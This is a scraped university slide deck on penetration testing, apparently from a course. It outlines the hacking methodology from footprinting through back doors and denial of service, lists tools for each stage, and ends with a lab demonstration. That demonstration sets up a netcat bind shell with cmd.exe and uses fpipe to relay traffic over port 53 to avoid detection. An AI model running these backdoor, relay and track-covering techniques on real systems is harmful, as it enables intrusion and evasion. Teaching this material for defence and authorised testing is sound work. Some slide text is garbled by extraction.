Penetrate Testing C Edward Chow cs 591 1

  • Slides: 26
Download presentation
Penetrate Testing C. Edward Chow cs 591 1 chow

Penetrate Testing C. Edward Chow cs 591 1 chow

Outline of The Talk n n n n n Definition, Concepts on Penetration Testing/Hacking

Outline of The Talk n n n n n Definition, Concepts on Penetration Testing/Hacking Anatomy of a Hack Framework for penetration studies Skills and Requirements of a Penetration Tester SAN list of Security Holes Internet Penetration Dial up Penetration Internal Penetration References: l CORE IMPACT - Penetration Testing: Assessing Your Overall Security Before Attackers Do l Pages 165, 277 Security in Computing. l Hack I. T, Security Through Penetration Testing, by T. J. Klevinksy, Scott Laliberte, Ajay Gupta. l http: //www. hackingexposed. com/win 2 k/links. html cs 591 2 chow

Definition n n n n Vulnerability (Security Flaw): specific failure of the system to

Definition n n n n Vulnerability (Security Flaw): specific failure of the system to guard against unauthorized access or actions. It can be procedures, technology (SW or HW), or management. Using the failure of the system to violate the site security policy is called exploiting the vulnerability Penetration Study is a test for evaluating the strengths of all security controls on the computer system. It intends to find all possible security holes and provides suggestions for fixing them. Penetration Testing is an authorized attempt to violate specific constraints stated in the form of a security or integrity policy. Penetration Testing is a testing technique for discovering, understanding, and documenting all the security holes that can be found in a system. It is not a proof techniques. It can never prove the absence of security flaws. It can only prove their presence. Example goals of penetration studies are gaining of read or write access to specific objects, files, or accounts; gaining of specific privileges; and disruption or denial of the availability of objects. What is the difference between penetration testing and hacking/intrusion? cs 591 3 chow

More Thorough Penetration Study A more thorough penetration study is to find the proper

More Thorough Penetration Study A more thorough penetration study is to find the proper interpretation of vulnerabilities found, draw conclusion on the care taken in the design and implementation. n A simple list of vulnerabilities , although helpful in closing those specific holes, contribute far less to the security of a system. n In practice, constrains (resource, money, time) affect the penetration study n cs 591 4 chow

Hacking Methodology (Steps) n An excellent description inside of the back cover page of

Hacking Methodology (Steps) n An excellent description inside of the back cover page of “Hacking Exposed” text by Mc. Clure et al. cs 591 Footprinting Scanning whois, nslookup Nmap, fping Enumeration dump. ACL, showmount legion, rpcinfo Gaining Access Tcpdump, Lophtcrack NAT Escalating Privilege Johntheripper, getadmin Pilferting Rhosts, userdata Config files, registry Covering Tracks zap, rootkits Creating Back Doors Cron, at, startup folder netcat, keystroke logger remote desktop Denial of Service Synk 4, ping of death tfn/stacheldraht 5 chow

Footprinting n n n n Information gathering. Sam Spade is window-based network query tool.

Footprinting n n n n Information gathering. Sam Spade is window-based network query tool. Find out target IP address/phone number range l Why check phone numbers? Namespace acquisition. Network Topology (visual. Route). It is essential to a “surgical” attack. The key here is not to miss any details. Note that for penetration tester, this step is to avoiding testing others instead of your client and to include all systems to be tested (sometime the organization will not tell you what their systems consist of). Defense: deploy NIDS (snort), Roto. Router Techniques Open Source search Find domain name, DNS zone admin, IP addresses transfer name servers Tools Whois (Network solution; arin) cs 591 Google, search engine, Edgar 6 Nslookup (ls –d) dig Sam Spade chow

Scanning n n n Bulk Target assessment Which machine is up and what ports

Scanning n n n Bulk Target assessment Which machine is up and what ports (services) are open Focus on most promising avenues of entry. To avoid being detect, these tools can reduce frequency of packet sending and randomize the ports or IP addresses to be scanned in the sequence. Note that some machine does not respond to ping but responds to requests to ports that actually open. Ardor is an example. Techniques Ping sweep TCP/UDP port scan OS detection Tools Nmap Superscan fscan Nmap queso siphon cs 591 Fping, icmpenum WS_Ping Pro. Pack nmap 7 chow

Enumeration Identify valid user accounts or poorly protected resource shares. n Most intrusive probing

Enumeration Identify valid user accounts or poorly protected resource shares. n Most intrusive probing than scanning step. n cs 591 Techniques list user accounts list file shares identify applications Tools Null sessions Dump. ACL Sid 2 usre on. Site. Admin Showmount NAT legion Banner grabing with telnet or netcat, rpcinfo 8 chow

Gaining Access n Based on the information gathered so far, make an informed attempted

Gaining Access n Based on the information gathered so far, make an informed attempted to access the target. Techniq ues Password File share eavesdropping brute forcing Password File grab Buffer overflow Tools Tcpdump/ssldu NAT mp legion L 0 phtcrack readsmb Tftp Pwddump 2(NT) Ttdb, bind IIS. HTR/ISM. DLL cs 591 9 chow

Escalating Privilege n If only user-level access was obtained in the last step, seek

Escalating Privilege n If only user-level access was obtained in the last step, seek to gain complete control of the system. cs 591 Techniques Password cracking Known Exploits Tools John the ripper L 0 phtcrack Lc_messages, Getadmin, sechole 10 chow

Pilfering Webster's Revised Unabridged Dictionary (1913) l Pilfer Pil"fer, v. i. [imp. & p.

Pilfering Webster's Revised Unabridged Dictionary (1913) l Pilfer Pil"fer, v. i. [imp. & p. p. Pilfered; p. pr. & vb. n. Pilfering. ] [OF. pelfrer. See Pelf. ] To steal in small quantities, or articles of small value; to practice petty theft. n Gather info on identify mechanisms to allow access of trusted systems. n Techniques Evaluate Trusts Search for cleartext passwords Tools rhosts LSA secrets User data, Configuration files Registry cs 591 11 chow

Covering Tracks n Once total ownership of the target is secured, hiding this fact

Covering Tracks n Once total ownership of the target is secured, hiding this fact from system administrators become paramount, less they quickly end the romp. Techniques Clear Logs Tools Zap, Event Log GUI Rootkits file streaming cs 591 12 Hide tools chow

Creating Back Doors n Trap doors will be laid in various parts of the

Creating Back Doors n Trap doors will be laid in various parts of the system to ensure that privilege access is easily regained whenever the intruder decides. Techniques Create rogue user accounts Schedule batch jobs Infect startup files Tools Cron, AT rc, startup folder, registry keys Members of wheel, admin Techniques Plant remote Install monitoring control services mechanisms Replace appls with Trojans Tools Login, fpnwcint. dll cs 591 Netcat, remote. exe VNC, B 02 K remote desktop Keystroke loggers, add acct. to secadmin mail aliases 13 chow

Denial of Services n If atacker is unsuccessful in gaining access, they may use

Denial of Services n If atacker is unsuccessful in gaining access, they may use readily available exploit code to disable a target as a last resort. Techniques Syn flood ICMP techniques Identical src/dst SYN requests Tools Ping to death smurf Land Latierra Techniques Overlapping fragment/offset bugs Out of bounds TCP options (OOB) DDo. S Tools Keystroke loggers, add acct. to secadmin mail aliases Trinoo TFN stacheldraht cs 591 synk 4 Netcat, remote. exe VNC, B 02 K remote desktop 14 chow

Nessus: Integrated Security Scanning Tool n n n Originally designed by Renaud Deraison Available

Nessus: Integrated Security Scanning Tool n n n Originally designed by Renaud Deraison Available at www. nessus. org Main scanning engine running on Unix server with client GUI running on Unix or Windows. Pretty good control and reporting. Include a script language for plug-in (detecting additional attacks). http: //www. nessus. org/pres/bh 2001/index. html cs 591 15 chow

cs 591 16 chow

cs 591 16 chow

cs 591 17 chow

cs 591 17 chow

cs 591 18 chow

cs 591 18 chow

cs 591 19 chow

cs 591 19 chow

cs 591 20 chow

cs 591 20 chow

cs 591 21 chow

cs 591 21 chow

Setting up Backdoor Connection n n Once obtain the admin privilege, you install tools

Setting up Backdoor Connection n n Once obtain the admin privilege, you install tools that allow you to run command remotely (e. g. netcat) or use the machine as a stepping stone for relaying or redirecting the msg (fpipe) Port redirection accepts packet from one port and send it over another port. It can be used to avoid packet filter firewall. We will use netcat and fpipe to illustrate the concept. Netcat is available at http: //www. atstake. com/research/tools/network_utilities/ Fpipe is available at http: //www. foundstone. com cs 591 22 chow

Setup Netcat C: workcucscs 522project>c: worksoftwaresecurityncnc -v -L -e cmd. exe -p 80 -s

Setup Netcat C: workcucscs 522project>c: worksoftwaresecurityncnc -v -L -e cmd. exe -p 80 -s 128. 198. 177. 63 n Hacker runs the nc command on the victim machine, which listens to the command sent in from port 80, use cmd. exe to run the command redirect the console output as http response back. n listening on [128. 198. 177. 63] 80. . . n connect to [128. 198. 177. 63] from VIVIAN. eas. uccs. edu n Here we bind in front of port 80. You can also use port 139. The idea is used known port to avoid detection. n -L is used to repeat previous command after connection is terminated. n The nc command will receive command from packet to port 80, and chow 23 run it with cmd. exe and send back execution result. cs 591 n

Setup FPIPE C: worksoftwaresecurityfpipe>fpipe -l 53 -s 53 -r 80 128. 198. 177. 63

Setup FPIPE C: worksoftwaresecurityfpipe>fpipe -l 53 -s 53 -r 80 128. 198. 177. 63 FPipe v 2. 1 - TCP/UDP port redirector. n This is run the infected machine which serves as relay. Use port 53 for listen to Internet connection, relay any msg from port 53 to machine with 128. 198. 177. 63 and port 80. n Copyright 2000 (c) by Foundstone, Inc. n http: //www. foundstone. com n n n n Pipe connected: In: 128. 198. 162. 60: 58797 --> 128. 198. 168. 63: 53 Out: 128. 198. 168. 63: 53 --> 128. 198. 177. 63: 80 Pipe connected: In: 128. 198. 162. 60: 58801 --> 128. 198. 168. 63: 53 Out: 128. 198. 168. 63: 53 --> 128. 198. 177. 63: 80 Here the fpipe program listens to packet incoming from blanca to port 53, relay it over to 128. 198. 177. 63 using port 53 (DNS) to avoid chow 24 cs 591 detection. n

Telnet to the relay host n n n C: worksoftwaresecuritync>[cs 691@blanca cs 691]$ telnet

Telnet to the relay host n n n C: worksoftwaresecuritync>[cs 691@blanca cs 691]$ telnet 128. 198. 168. 63 53 Trying 128. 198. 168. 63. . . Connected to vivian (128. 198. 168. 63). Escape character is '^]'. Microsoft Windows XP [Version 5. 1. 2600] (C) Copyright 1985 -2001 Microsoft Corp. n n C: workcucscs 522project>dir Volume in drive C is S 3 A 1203 D 501 Volume Serial Number is 503 B-9 F 00 n Directory of C: workcucscs 522project n n n 04/29/2003 12: 56 PM 04/29/2003 12: 50 PM n Note that it is the console output of 128. 198. 177. 63 machine being shown here. cs 591 <DIR>. . 371, 208 erniest. Infocom 2000. ps 25 chow

Layering of Tests External attacker with no knowledge of the system. 2. External attacker

Layering of Tests External attacker with no knowledge of the system. 2. External attacker with access to the system. 3. Internal attacker with access to the system. 1. cs 591 26 chow